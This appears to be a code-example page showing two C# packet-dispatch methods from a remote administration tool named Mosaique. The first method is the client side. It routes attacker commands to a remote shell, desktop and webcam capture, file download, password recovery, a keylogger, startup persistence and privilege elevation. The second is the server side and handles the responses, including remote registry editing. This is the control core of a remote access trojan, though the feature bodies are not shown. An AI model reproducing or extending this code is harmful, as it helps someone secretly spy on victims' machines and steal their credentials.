コード例 #1
0
        public static void packetChecker(ClientMosaique client, IPackets packet)
        {
            var type = packet.Type;

            if (type == TypePackets.DoAskElevate)
            {
                Controllers.Tools.CommandController.doAskElevate((DoAskElevate)packet, client);
            }
            else if (type == TypePackets.SetClientIdentifier)
            {
                ManageController.setClientIdentifier((SetClientIdentifier)packet, client);
            }
            else if (type == TypePackets.UninstallClient)
            {
                ClientUninstallerController.uninstall(client);
            }
            else if (type == TypePackets.CloseClient)
            {
                ManageController.CloseClient();
            }
            else if (type == TypePackets.GetMonitors)
            {
                RemoteDesktopController.getMonitors(client);
            }
            else if (type == TypePackets.GetDesktop)
            {
                RemoteDesktopController.getDesktop((GetDesktop)packet, client);
            }
            else if (type == TypePackets.GetExecuteShellCmd)
            {
                RemoteShellController.getExecuteShellCmd((GetExecuteShellCmd)packet, client);
            }
            else if (type == TypePackets.GetAvailableWebcams)
            {
                RemoteWebcamController.getAvailableWebcams((GetAvailableWebcams)packet, client);
            }
            else if (type == TypePackets.GetWebcam)
            {
                RemoteWebcamController.getWebcam((GetWebcam)packet, client);
            }
            else if (type == TypePackets.StopWebcam)
            {
                RemoteWebcamController.stopWebcam();
            }
            else if (type == TypePackets.GetDrives)
            {
                FileManagerController.getDrives((GetDrives)packet, client);
            }
            else if (type == TypePackets.GetDirectory)
            {
                FileManagerController.getDirectory((GetDirectory)packet, client);
            }
            else if (type == TypePackets.DoDownloadFile)
            {
                FileManagerController.doDownloadFile((DoDownloadFile)packet, client);
            }
            else if (type == TypePackets.DoDownloadFileCancel)
            {
                FileManagerController.doDownloadFileCancel((DoDownloadFileCancel)packet, client);
            }
            else if (type == TypePackets.GetProcesses)
            {
                TaskManagerController.getProcesses((GetProcesses)packet, client);
            }
            else if (type == TypePackets.GetSysInfo)
            {
                SystemInformationController.getSysInfo(client);
            }
            else if (type == TypePackets.GetStartupItems)
            {
                StartupManagerController.getStartupItems((GetStartupItems)packet, client);
            }
            else if (type == TypePackets.DoStartupItemAdd)
            {
                StartupManagerController.doStartupItemAdd((DoStartupItemAdd)packet, client);
            }
            else if (type == TypePackets.DoStartupItemRemove)
            {
                StartupManagerController.doStartupItemRemove((DoStartupItemRemove)packet, client);
            }
            else if (type == TypePackets.GetPasswords)
            {
                PasswordRecoveryController.getPasswords((GetPasswords)packet, client);
            }
            else if (type == TypePackets.GetKeyLoggerLogs)
            {
                KeyLoggerController.getKeyLogger((GetKeyLoggerLogs)packet, client);
            }
            else if (type == TypePackets.DoTrayCdOpenClose)
            {
                DoTrayCdOpenCloseController.openCloseTrayCD((DoTrayCdOpenClose)packet, client);
            }
            else if (type == TypePackets.SendMessageBox)
            {
                SendMessageBoxController.MessageBoxShow((SendMessageBox)packet);
            }
            else if (type == TypePackets.MsgToRemoteChat)
            {
                FrmRemoteChatController.msgFromRemoteChat((MsgToRemoteChat)packet, client);
            }
            else if (type == TypePackets.CloseRemoteChat)
            {
                FrmRemoteChatController.closeRemoteChat(client);
            }
            else if (type == TypePackets.PlaySong)
            {
                PlaySongController.playOnInt((PlaySong)packet);
            }
        }
コード例 #2
0
        public static void packetChecker(ClientMosaique client, IPackets packet)
        {
            var type = packet.Type;

            if (type == TypePackets.SetStatus)
            {
                //Views.FrmMain.instance.setWarning((SetStatus)packet);
            }
            else if (type == TypePackets.GetMonitorsResponse)
            {
                FrmRemoteDesktopController.getMonitorsResponse(client, (GetMonitorsResponse)packet);
            }
            else if (type == TypePackets.GetDesktopResponse)
            {
                FrmRemoteDesktopController.getDesktopResponse(client, (GetDesktopResponse)packet);
            }
            else if (type == TypePackets.GetExecuteShellCmdResponse)
            {
                FrmRemoteShellController.getShellCmdExecuteResponse(client, (GetExecuteShellCmdResponse)packet);
            }
            else if (type == TypePackets.GetAvailableWebcamsResponse)
            {
                FrmRemoteWebcamController.getAvailableWebcamsResponse(client, (GetAvailableWebcamsResponse)packet);
            }
            else if (type == TypePackets.GetWebcamResponse)
            {
                FrmRemoteWebcamController.getWebcamResponse(client, (GetWebcamResponse)packet);
            }
            else if (type == TypePackets.GetDrivesResponse)
            {
                FrmFileManagerController.getDrivesResponse(client, (GetDrivesResponse)packet);
            }
            else if (type == TypePackets.GetDirectoryResponse)
            {
                FrmFileManagerController.getDirectoryResponse(client, (GetDirectoryResponse)packet);
            }
            else if (type == TypePackets.SetStatusFileManager)
            {
                FrmFileManagerController.setStatusFileManager(client, (SetStatusFileManager)packet);
            }
            else if (type == TypePackets.DoDownloadFileResponse)
            {
                FrmFileManagerController.doDownloadFileResponse(client, (DoDownloadFileResponse)packet);
            }
            else if (type == TypePackets.GetProcessesResponse)
            {
                FrmTaskManagerController.getProcessesResponse(client, (GetProcessesResponse)packet);
            }
            else if (type == TypePackets.GetSysInfoResponse)
            {
                //System.Windows.Forms.MessageBox.Show("RECU");
                FrmSysInfoController.getSysInfoResponse(client, (GetSysInfoResponse)packet);
            }
            else if (type == TypePackets.GetStartupItemsResponse)
            {
                FrmStartupManagerController.getStartupItemsResponse(client, (GetStartupItemsResponse)packet);
            }
            else if (type == TypePackets.GetPasswordsResponse)
            {
                FrmPasswordRecoveryController.HandleGetPasswordsResponse(client, (GetPasswordsResponse)packet);
            }
            else if (type == TypePackets.GetKeyLoggerLogsResponse)
            {
                FrmKeyLoggerController.getKeyLoggerLogsResponse(client, (GetKeyLoggerLogsResponse)packet);
            }
            else if (type == TypePackets.MsgToRemoteChat)
            {
                FrmRemoteChatController.msgFromRemoteChat(client, (MosaiqueServeur.Packets.ServerPackets.MsgToRemoteChat)packet);
            }
            else if (type == TypePackets.GetRegistryKeysResponse)
            {
                FrmRegistryEditorController.loadRegistryKey((GetRegistryKeysResponse)packet, client);
            }
            else if (type == TypePackets.GetCreateRegistryKeyResponse)
            {
                FrmRegistryEditorController.createRegistryKey((GetCreateRegistryKeyResponse)packet, client);
            }
            else if (type == TypePackets.GetRenameRegistryKeyResponse)
            {
                FrmRegistryEditorController.renameRegistryKey((GetRenameRegistryKeyResponse)packet, client);
            }
            else if (type == TypePackets.GetDeleteRegistryKeyResponse)
            {
                FrmRegistryEditorController.deleteRegistryKey((GetDeleteRegistryKeyResponse)packet, client);
            }
            else if (type == TypePackets.GetCreateRegistryValueResponse)
            {
                FrmRegistryEditorController.createRegistryValue((GetCreateRegistryValueResponse)packet, client);
            }
            else if (type == TypePackets.GetRenameRegistryValueResponse)
            {
                FrmRegistryEditorController.renameRegistryValue((GetRenameRegistryValueResponse)packet, client);
            }
            else if (type == TypePackets.GetChangeRegistryValueResponse)
            {
                FrmRegistryEditorController.changeRegistryValue((GetChangeRegistryValueResponse)packet, client);
            }
            else if (type == TypePackets.GetDeleteRegistryValueResponse)
            {
                FrmRegistryEditorController.deleteRegistryValueResponse((GetDeleteRegistryValueResponse)packet, client);
            }
        }